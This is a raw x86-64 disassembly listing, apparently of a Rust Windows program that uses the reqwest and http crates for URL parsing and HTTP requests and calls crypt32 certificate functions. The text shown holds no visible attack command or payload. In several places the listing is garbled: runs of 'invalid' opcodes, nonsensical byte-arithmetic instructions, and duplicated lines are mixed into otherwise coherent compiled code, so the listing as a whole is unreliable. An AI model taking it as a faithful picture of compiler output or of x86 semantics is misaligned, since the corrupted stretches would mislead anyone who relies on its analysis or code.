mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013b958]
lea r8, [rsp + 0x68]
mov edx, 0x17
call fcn.1401049b0
mov ecx, 8
mov edx, 0x70
call fcn.140104380
mov qword [rsp + 0x90], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x90]
call fcn.14005bd80
mov byte [rsp + 0x90], dil
mov byte [rsp + 0x91], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.valid_request_parts
lea r9, [0x14013b9d8]
lea r8, [rsp + 0x90]
mov edx, 0x13
call fcn.1401049b0
ud2
lea rcx, str.Uri_should_have_a_scheme
lea r8, [0x1401404f8]
mov edx, 0x18
call fcn.140104a60
call fcn.140010910
mov ecx, 1
mov rdx, qword [rsp + 0x60]
call fcn.140104360
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14005a967
xor ebp, ebp
jmp 0x14005adea
cmp bpl, 3
jne 0x14005adea
mov r15, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
test r14, r14
je 0x14005ae32
js 0x14005b36e
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r14
call fcn.1400e0010
test rax, rax
je 0x14005b361
mov rbx, rax
mov qword [rsp + 0x28], rsi
jmp 0x14005ae3c
mov byte [rsi], bpl
mov byte [rsi + 1], r12b
add word [rcx + rcx*4 + 0x76], cx
or byte [rcx + rcx*4 + 0x4e], cl
adc byte [rax - 0x77], cl
pop rsi
sbb byte [rdi], cl
sub byte [rsp + 0xb0], al
add word [rcx + rcx*4 + 0x76], cx
or byte [rcx + rcx*4 + 0x4e], cl
adc byte [rax - 0x77], cl
pop rsi
sbb byte [rdi], cl
sub byte [rsp + 0xb0], al
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], r15
mov qword [rsi + 0x40], rcx
mov qword [rsi + 0x48], r8
mov word [rsi + 0x50], dx
mov eax, dword [rsp + 0x58]
mov dword [rsi + 0x52], eax
movzx eax, word [rsp + 0x5c]
mov word [rsi + 0x56], ax
jmp 0x14005af09
mov qword [rsp + 0x28], rsi
mov ebx, 1
mov rcx, rbx
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
movups xmm6, xmmword [rdi + 0x2c]
lea r15, [rdi + 0x40]
movzx eax, word [rdi + 0x28]
mov word [rsp + 0x5e], ax
movzx r13d, word [rdi + 0x2a]
mov eax, dword [rdi + 0x3c]
mov dword [rsp + 0xac], eax
mov esi, dword [rdi + 0x18]
mov rax, rdi
mov edi, dword [rdi + 0x1c]
mov ebp, dword [rax + 0x20]
mov r12d, dword [rax + 0x24]
lea rcx, str.Parsed_Url_is_not_a_valid_Urioperation_timed_outURL_scheme_is_not_allowedBuilderRequestRedirectStatus
mov edx, 0x1d
call fcn.140052a10
mov rcx, qword [rax]
shl rcx, 1
test rcx, rcx
je 0x14005aeb9
mov r8, qword [rax + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov qword [rsp + 0x108], rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x108]
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], esi
mov dword [rax + 0x1c], edi
mov dword [rax + 0x20], ebp
mov dword [rax + 0x24], r12d
movzx ecx, word [rsp + 0x5e]
mov word [rax + 0x28], cx
mov word [rax + 0x2a], r13w
movups xmmword [rax + 0x2c], xmm6
mov ecx, dword [rsp + 0xac]
mov dword [rax + 0x3c], ecx
movups xmm0, xmmword [r15]
movups xmmword [rax + 0x40], xmm0
movzx ecx, byte [r15 + 0x10]
mov byte [rax + 0x50], cl
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov byte [rcx], 3
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov esp, 0xc024
add byte [rax], al
jne 0x14005afbc
cmp qword [rsp + 0xc8], r12
jne 0x14005afbc
mov r9, qword [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm0
test r9, r9
je 0x14005adc6
invalid
invalid
invalid
invalid
invalid
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x140126028]
add eax, 0xcb081
add eax, 0xcb081
mov dx, 0xffff
lea r15, [0x14016f768]
lea edi, [0x14016f768]
lea edi, [0x14016f768]
xor ecx, ecx
xor r8d, r8d
jmp 0x14005ac3c
mov rax, qword [rsp + 0x30]
lea rcx, [rsp + 0x48]
mov rdx, rbx
mov r8, r12
call qword [rax + 0x10]
adc cl, ch
std
invalid
invalid
adc cl, ch
std
invalid
inc dword [rbx]
jbe 0x14005b0ed
xor ecx, ecx
lea rax, [0x1401266b0]
nop word [rax + rax]
mov r13b, 1
cmp r15, rcx
je 0x14005b0f0
mov r14, rcx
movzx ecx, byte [rbx + rcx]
movzx ebp, byte [rcx + rax]
test ebp, ebp
je 0x14005b0f2
lea rcx, [r14 + 1]
cmp ebp, 0x3a
jne 0x14005aff0
lea r8, [r14 + 3]
cmp r8, r15
ja 0x14005b0f0
cmp r14, 0xfffffffffffffffd
jae 0x14005b373
movzx eax, word [rbx + rcx]
cmp eax, 0x2f2f
jne 0x14005b0f0
mov r13b, 0xa
cmp r14, 0x40
ja 0x14005b27f
lea rbx, [rsp + 0xc0]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.1400122f0
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
call fcn.1400121b0
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x120], xmm1
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14005b385
mov r14, rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov bpl, 2
xor r13d, r13d
mov dword [rsp + 0x28], 0
jmp 0x14005b0f8
mov r13b, 1
xor ebp, ebp
mov al, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r15
call fcn.140032b50
cmp byte [rsp + 0x30], 0
je 0x14005b15d
movzx r13d, byte [rsp + 0x31]
cmp byte [rsp + 0x28], 0
jne 0x14005b27f
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
jmp 0x14005b27f
mov r8, qword [rsp + 0x38]
test r13b, r13b
je 0x14005b1a4
mov r13b, 4
cmp r8, r15
jne 0x14005b27f
lea rax, [rsp + 0x70]
mov r9, qword [rsp + 0x60]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x140126028]
mov dx, 0xffff
lea r15, [0x14016f768]
xor ecx, ecx
xor r8d, r8d
jmp 0x14005adad
test r8, r8
je 0x14005b271
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x60]
call fcn.1400122f0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xc0]
call fcn.140033bc0
mov rax, qword [rsp + 0x30]
movzx r13d, byte [rsp + 0x38]
test rax, rax
je 0x14005b29d
movzx r10d, r13b
movzx ecx, byte [rsp + 0x3f]
shl ecx, 0x10
movzx r11d, word [rsp + 0x3d]
or r11d, ecx
mov r15d, dword [rsp + 0x39]
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
movzx edx, word [rsp + 0x50]
mov r9d, dword [rsp + 0x52]
mov dword [rsp + 0x58], r9d
movzx r9d, word [rsp + 0x56]
mov word [rsp + 0x5c], r9w
mov r9, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xe8]
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xb0], xmm0
shl r11, 0x28
shl r15, 8
or r15, r11
or r15, r10
jmp 0x14005adad
mov r13b, 4
cmp byte [rsp + 0x28], 0
je 0x14005b12a
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
mov rdx, rbx
mov r8, r15
call qword [rax + 0x10]
mov bpl, 3
mov r12d, r13d
jmp 0x14005adad
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
mov bpl, 3
cmp byte [rsp + 0x28], 0
jne 0x14005b295
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14005b295
mov ecx, 1
mov rdx, r14
call fcn.140104360
call fcn.140010910
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov rdx, r8
mov r8, rax
call fcn.1401048e0
mov ecx, 8
mov edx, 0x20
call fcn.140104380
int3
add byte [rax], al
call fcn.1401027c0
sub rsp, rax
movaps xmmword [rsp + 0x19f0], xmm8
movaps xmmword [rsp + 0x19e0], xmm7
sub dword [rsp + 0x19e0], edi
sub dword [rsp + 0x19e0], edi
movaps xmmword [rsp + 0x19d0], xmm6
mov qword [rsp + 0x78], r8
mov rdi, rdx
movzx eax, byte [rdx + 0xbd0]
test eax, eax
mov qword [rsp + 0x360], rcx
je 0x14005d09f
cmp eax, 3
jne case.default.0x14005d091
lea rax, [rdi + 0x728]
mov qword [rsp + 0x88], rax
movzx eax, byte [rdi + 0x728]
lea rbp, [rdi + 0x4e8]
lea rcx, [0x140174608]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0x618]
jmp 0x14005d3b7
lea rcx, [rdi + 0x248]
mov r8d, 0x118
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + 0x360]
lea rdx, [rdi + 0x118]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm0, xmmword [rdi + 0x218]
movdqu xmm1, xmmword [rdi + 0x228]
movdqu xmm2, xmmword [rdi + 0x238]
movdqu xmmword [rdi + 0x460], xmm0
movdqu xmmword [rdi + 0x470], xmm1
movdqu xmmword [rdi + 0x480], xmm2
movzx ebx, byte [rdi + 0x3c0]
test ebx, ebx
je 0x14005d116
cmp ebx, 1
jne 0x14005d118
movzx ebp, byte [rdi + 0x3c1]
jmp 0x14005d153
jmp 0x14005d153
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140062719
mov rsi, rax
mov rax, qword [rdi + 0x3c8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
lea rdx, [rdi + 0x3e8]
mov rax, qword [rdi + 0x3d0]
mov r8, qword [rdi + 0x3d8]
mov r9, qword [rdi + 0x3e0]
lea rcx, [rsp + 0x3f0]
call qword [rax]
lea rdx, [rdi + 0x408]
mov rax, qword [rdi + 0x3f0]
mov r8, qword [rdi + 0x3f8]
mov r9, qword [rdi + 0x400]
add al, 0
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add bh, bh
adc byte [rdi], cl
mov bh, 0x87
adc byte [rax + rax], al
add al, 0
invalid
add al, 0
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add bh, bh
adc byte [rdi], cl
mov bh, 0x87
adc byte [rax + rax], al
add al, 0
add al, 0
add byte [rax + 0x4909f], cl
add byte [rax - 0x78], al
scasd eax, dword [rdi]
xchg ecx, eax
add al, 0
add byte [rax - 0x77], cl
mov bh, 0x98
mov byte [rdi + 0x490], bl
mov byte [rdi + 0x491], bpl
mov qword [rdi + 0x498], rsi
add al, 0
invalid
add al, 0
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x3f0]
movups xmm0, xmmword [rsp + 0x3f0]
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x400], cl
add byte [rax], al
movups xmm1, xmmword [rsp + 0x400]
add byte [rax], al
movups xmmword [rdi + 0x4a0], xmm0
adc dword [rdi + 0x4a0], eax
add byte [rdi], cl
movups xmmword [rdi + 0x4b0], xmm1
adc dword [rdi + 0x4b0], ecx
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
invalid
and al, 0x20
add dword [rax], eax
add bl, dh
movq mm1, qword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
invalid
mov word [rax + rsi], fs
add dword [rax], eax
add bl, dh
movq qword [rdi + 0x4c0], mm0
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
movdqu xmmword [rdi + 0x4c0], xmm0
add byte [rax], al
movdqu xmmword [rdi + 0x4d0], xmm1
mov word [rdi + 0x4e0], ax
jmp 0x14005d292
add byte [rax], al
add al, 0
add cl, ch
mov word [rax], es
add byte [rax], al
mov qword [rsp + 0x60], rbp
mov rbp, qword [rdi + 0x7a8]
jmp 0x140060867
lea rax, [rdi + 0x9d0]
ror byte [rcx], 1
add byte [rax], al
mov qword [rsp + 0x368], rax
movzx eax, byte [rdi + 0x9d0]
lea r12, [rdi + 0x730]
lea esp, [rdi + 0x730]
lea esp, [rdi + 0x730]
lea rcx, [0x14017461c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0x760]
jmp 0x14005d428
mov qword [rsp + 0x60], rbp
jmp 0x14005ea3c
mov qword [rsp + 0x60], rbp
jmp 0x14005e4b3
mov rbx, qword [rsp + 0x78]
jmp 0x14005dfe7
lea rcx, [0x14013d198]
call fcn.140104c30
lea rcx, [0x14013d0c0]
call fcn.140104c30
lea rcx, [0x14013d180]
call fcn.140104c30
lea r14, [rdi + 0x248]
lea rdx, [rdi + 0x360]
lea rcx, [rsp + 0x120]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
movzx ebp, byte [rdi + 0x460]
test ebp, ebp
je 0x14005d308
cmp ebp, 2
jne 0x14005d300
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140062719
mov rsi, rax
mov rax, qword [rdi + 0x468]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
jmp 0x14005d308
movzx r15d, byte [rdi + 0x461]
lea rdx, [rdi + 0x488]
mov rax, qword [rdi + 0x470]
mov r8, qword [rdi + 0x478]
mov r9, qword [rdi + 0x480]
lea rcx, [rsp + 0xe80]
call qword [rax]
lea rbx, [rsp + 0x18d0]
lea rdx, [rsp + 0x120]
mov r8d, 0x100
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r12, [rdi + 0x4e8]
mov r8d, 0x100
mov rcx, r12
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0x5e8], bpl
mov rbp, r12
mov byte [rdi + 0x5e9], r15b
mov qword [rdi + 0x5f0], rsi
movups xmm0, xmmword [rsp + 0xe80]
movups xmm1, xmmword [rsp + 0xe90]
movups xmmword [rdi + 0x5f8], xmm0
movups xmmword [rdi + 0x608], xmm1
mov qword [rdi + 0x618], r14
lea rax, [rdi + 0x728]
mov qword [rsp + 0x88], rax
mov byte [rdi + 0x728], 0
mov qword [rdi + 0x620], r14
mov byte [rdi + 0x729], 1
lea rcx, [rdi + 0x628]
mov r8d, 0x100
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
lea r12, [rdi + 0x730]
movups xmm0, xmmword [rdi + 0x5e8]
movups xmm1, xmmword [rdi + 0x5f8]
movups xmm2, xmmword [rdi + 0x608]
movups xmmword [rdi + 0x730], xmm0
movups xmmword [rdi + 0x740], xmm1
movups xmmword [rdi + 0x750], xmm2
mov qword [rdi + 0x760], r14
lea rax, [rdi + 0x9d0]
mov qword [rsp + 0x368], rax
mov byte [rdi + 0x9d0], 0
mov word [rdi + 0x9d6], 0
mov dword [rdi + 0x9d2], 0
mov qword [rdi + 0x768], r14
lea rsi, [rdi + 0x770]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0x10]
movdqu xmm2, xmmword [r12 + 0x20]
movdqu xmmword [rdi + 0x770], xmm0
movdqu xmmword [rdi + 0x780], xmm1
movdqu xmmword [rdi + 0x790], xmm2
movzx ebx, byte [rdi + 0x770]
test ebx, ebx
je 0x14005d4d2
cmp ebx, 2
jne 0x14005d4c7
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140062719
mov rcx, qword [rdi + 0x778]
lea rdx, [rcx + 0x18]
mov r10, qword [rcx]
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov qword [rsp + 0x7c8], rax
mov rcx, rax
call qword [r10]
jmp 0x14005d4d2
movzx eax, byte [rdi + 0x771]
mov byte [rsp + 0x4c], al
lea rdx, [rdi + 0x798]
mov rax, qword [rdi + 0x780]
mov r8, qword [rdi + 0x788]
mov r9, qword [rdi + 0x790]
lea rcx, [rsp + 0x120]
call qword [rax]
mov rcx, qword [r14 + 0x108]
test rcx, rcx
je 0x14005d50e
lock inc qword [rcx]
jle case.0x14005d091.2
mov dword [rsp + 0x40], ebx
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xd40], xmm1
movaps xmmword [rsp + 0xd30], xmm0
mov rbx, qword [rdi + 0x768]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movdqu xmm2, xmmword [rsi + 0x20]
movdqa xmmword [rsp + 0x5d0], xmm2
movaps xmmword [rsp + 0x5c0], xmm1
movaps xmmword [rsp + 0x5b0], xmm0
mov r14, qword [rbx + 0x68]
test r14, r14
je 0x14005d57d
mov rax, qword [rbx + 0x70]
mov qword [rsp + 0x7e8], rax
lock inc qword [r14]
jle case.0x14005d091.2
mov r13, rbp
mov r15, qword [rbx + 0x108]
test r15, r15
je 0x14005d596
lock inc qword [r15]
jle case.0x14005d091.2
mov rbp, r12
mov rsi, qword [rbx + 0x68]
test rsi, rsi
je 0x14005d5b8
mov rax, qword [rbx + 0x70]
mov qword [rsp + 0x7e0], rax
lock inc qword [rsi]
jle case.0x14005d091.2
movzx edx, byte [rbx + 0x81]
movsd xmm6, qword [rbx + 0x78]
mov rax, qword [rbx]
mov qword [rsp + 0x320], rax
mov rax, qword [rbx + 8]
mov qword [rsp + 0x878], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x870], rax
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x868], rax
movzx r8d, byte [rbx + 0x64]
movsd xmm7, qword [rbx + 0x58]
mov r9d, dword [rbx + 0x60]
mov eax, dword [rbx + 0x48]
mov dword [rsp + 0x74], eax
mov rax, qword [rbx + 0x40]
mov qword [rsp + 0x860], rax
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x858], rax
mov eax, dword [rbx + 0x38]
mov dword [rsp + 0x32c], eax
movzx r10d, byte [rbx + 0x65]
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0x848], rax
mov rax, qword [rbx + 0x28]
mov qword [rsp + 0x840], rax
mov rax, qword [rbx + 0x50]
mov qword [rsp + 0x850], rax
movzx r11d, byte [rbx + 0x80]
movzx eax, byte [rbx + 0x112]
mov r12, qword [rbx + 0xa8]
mov qword [rsp + 0x838], r12
lock inc qword [r12]
jle case.0x14005d091.2
mov byte [rsp + 0x53], r11b
mov byte [rsp + 0x54], r10b
mov dword [rsp + 0x328], r9d
mov byte [rsp + 0x55], r8b
mov byte [rsp + 0x56], dl
mov byte [rsp + 0x57], al
mov qword [rsp + 0x830], rcx
mov r12, qword [rbx + 0xb0]
mov rax, qword [rbx + 0xb8]
mov qword [rsp + 0x828], rax
lock inc qword [r12]
jle case.0x14005d091.2
xor eax, eax
cmp qword [rbx + 0x88], 0
je 0x14005d6ea
mov rcx, qword [rbx + 0x90]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x7d8], rax
mov eax, 1
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x820], r12
mov qword [rsp + 0x30], rbp
mov rcx, qword [rbx + 0x98]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x810], rax
movzx eax, byte [rbx + 0xa4]
mov byte [rsp + 0x52], al
movzx eax, byte [rbx + 0xa5]
mov byte [rsp + 0x51], al
movsd xmm8, qword [rbx + 0xa0]
mov rbp, qword [rbx + 0xf8]
lock inc qword [rbp]
jle case.0x14005d091.2
movzx eax, byte [rbx + 0x100]
mov byte [rsp + 0x50], al
mov r12d, dword [rbx + 0xc8]
cmp r12d, 0x3b9aca00
je 0x14005d76f
mov rax, qword [rbx + 0xc0]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x808], rsi
movzx eax, byte [rbx + 0x101]
mov byte [rsp + 0x4f], al
movzx eax, byte [rbx + 0x102]
mov byte [rsp + 0x4e], al
mov al, 2
cmp byte [rbx + 0xf0], 2
je 0x14005d7c5
lea rdx, [rbx + 0xe8]
mov rax, qword [rbx + 0xd0]
mov r8, qword [rbx + 0xd8]
mov r9, qword [rbx + 0xe0]
lea rcx, [rsp + 0x120]
call qword [rax]
movzx eax, byte [rbx + 0xf0]
mov byte [rsp + 0x4d], al
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rsp + 0xa10], xmm1
movdqu xmmword [rsp + 0xa00], xmm0
movzx esi, byte [rsp + 0x5b0]
test esi, esi
je 0x14005d844
cmp esi, 2
jne 0x14005d83c
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140062719
mov rbx, rax
mov rax, qword [rsp + 0x5b8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
jmp 0x14005d844
movzx eax, byte [rsp + 0x5b1]
mov qword [rsp + 0x7f0], rbp
mov qword [rsp + 0x7f8], r15
mov qword [rsp + 0x800], r14
mov r15d, dword [rsp + 0x40]
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x330], sil
mov byte [rsp + 0x331], al
mov qword [rsp + 0x338], rbx
lea r14, [rsp + 0x340]
lea rdx, [rsp + 0x5d8]
mov rax, qword [rsp + 0x5c0]
mov r8, qword [rsp + 0x5c8]
mov r9, qword [rsp + 0x5d0]
mov rcx, r14
call qword [rax]
movzx esi, byte [rsp + 0x330]
movzx r13d, byte [rsp + 0x331]
movzx ebp, byte [rsp + 0x332]
mov rbx, qword [rsp + 0x338]
movups xmm0, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0x400], xmm0
movups xmm0, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x3f0], xmm0
cmp esi, 4
je 0x140062758
movzx eax, byte [rsp + 0x337]
mov byte [rsp + 0x127], al
mov eax, dword [rsp + 0x333]
mov dword [rsp + 0x123], eax
mov qword [rsp + 0x128], rbx
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x130], xmm0
movups xmmword [rsp + 0x140], xmm1
mov qword [rsp + 0x150], 0
mov byte [rsp + 0x120], sil
mov byte [rsp + 0x121], r13b
mov byte [rsp + 0x122], bpl
movzx eax, byte [0x14017d2b0]
mov edx, 1
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400627eb
mov byte [rax], 0x2f
mov rcx, rax
or rcx, 1
test al, 1
cmovne rcx, rax
lea rdx, [0x140126040]
lea r8, [0x140126058]
cmove r8, rdx
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x5f0], 1
mov qword [rsp + 0x5f8], rcx
mov qword [rsp + 0x5e0], r8
lea rcx, [rsp + 0xfa0]
lea rdx, [rsp + 0x5e0]
call fcn.140033bc0
mov rax, qword [rsp + 0xfa0]
movzx r14d, byte [rsp + 0xfa8]
test rax, rax
je 0x1400627fa
lea rcx, [rsp + 0x123]
movzx edx, byte [rsp + 0xfa9]
movups xmm0, xmmword [rsp + 0xfb8]
movups xmmword [rsp + 0x5ee], xmm0
movups xmm0, xmmword [rsp + 0xfaa]
movaps xmmword [rsp + 0x5e0], xmm0
mov qword [rsp + 0x150], rax
mov byte [rsp + 0x158], r14b
mov byte [rsp + 0x159], dl
movaps xmm0, xmmword [rsp + 0x5e0]
movups xmmword [rsp + 0x15a], xmm0
movups xmm0, xmmword [rsp + 0x5ee]
movups xmmword [rsp + 0x168], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x3f0], xmm0
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x410], xmm2
movaps xmmword [rsp + 0x420], xmm3
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x430], xmm0
mov rax, qword [rcx + 0x4d]
mov qword [rsp + 0x43d], rax
movaps xmm0, xmmword [rsp + 0x3f0]
movaps xmm1, xmmword [rsp + 0x400]
movaps xmm2, xmmword [rsp + 0x410]
movaps xmm3, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x600], xmm0
movaps xmmword [rsp + 0x610], xmm1
movaps xmmword [rsp + 0x620], xmm2
movaps xmmword [rsp + 0x630], xmm3
movaps xmm0, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x43d]
mov qword [rsp + 0x64d], rax
mov rax, qword [rsp + 0x64d]
mov qword [rsp + 0x440], rax
movaps xmm0, xmmword [rsp + 0x640]
movups xmmword [rsp + 0x433], xmm0
movaps xmm0, xmmword [rsp + 0x600]
movaps xmm1, xmmword [rsp + 0x610]
movaps xmm2, xmmword [rsp + 0x620]
movaps xmm3, xmmword [rsp + 0x630]
movups xmmword [rsp + 0x423], xmm3
movups xmmword [rsp + 0x413], xmm2
movups xmmword [rsp + 0x403], xmm1
movups xmmword [rsp + 0x3f3], xmm0
mov byte [rsp + 0x3f0], sil
mov byte [rsp + 0x3f1], r13b
mov byte [rsp + 0x3f2], bpl
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x3f0]
call fcn.140033a10
movzx eax, byte [rsp + 0x120]
movzx r14d, byte [rsp + 0x121]
cmp al, 3
je 0x1400628b2
mov rcx, qword [rsp + 0x170]
mov qword [rsp + 0xfed], rcx
movups xmm0, xmmword [rsp + 0x163]
movaps xmmword [rsp + 0xfe0], xmm0
movaps xmm0, xmmword [rsp + 0xfe0]
movaps xmmword [rsp + 0x9e0], xmm0
mov rcx, qword [rsp + 0xfed]
mov qword [rsp + 0x9ed], rcx
mov ecx, dword [rsp + 0xa1c]
mov dword [rsp + 0x350], ecx
movups xmm0, xmmword [rsp + 0x153]
movups xmm1, xmmword [rsp + 0x143]
movups xmm2, xmmword [rsp + 0x133]
movups xmm3, xmmword [rsp + 0x123]
movaps xmmword [rsp + 0x9a0], xmm3
movaps xmmword [rsp + 0x9b0], xmm2
movaps xmmword [rsp + 0x9c0], xmm1
movaps xmmword [rsp + 0x9d0], xmm0
movups xmm0, xmmword [rsp + 0x9fc]
movups xmm1, xmmword [rsp + 0xa0c]
movaps xmmword [rsp + 0x340], xmm1
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0x5b0]
movaps xmm1, xmmword [rsp + 0x5c0]
movaps xmm2, xmmword [rsp + 0x5d0]
movups xmmword [rsp + 0xc60], xmm2
movups xmmword [rsp + 0xc50], xmm1
movups xmmword [rsp + 0xc40], xmm0
mov rcx, qword [rdi + 0x768]
movzx edx, byte [rcx + 0x112]
movzx ecx, byte [rsp + 0x122]
mov byte [rdi + 0x9d1], dl
mov byte [rdi + 0x9d8], r15b
movzx edx, byte [rsp + 0x4c]
mov byte [rdi + 0x9d9], dl
mov rdx, qword [rsp + 0x7c8]
mov qword [rdi + 0x9e0], rdx
movaps xmm0, xmmword [rsp + 0xd30]
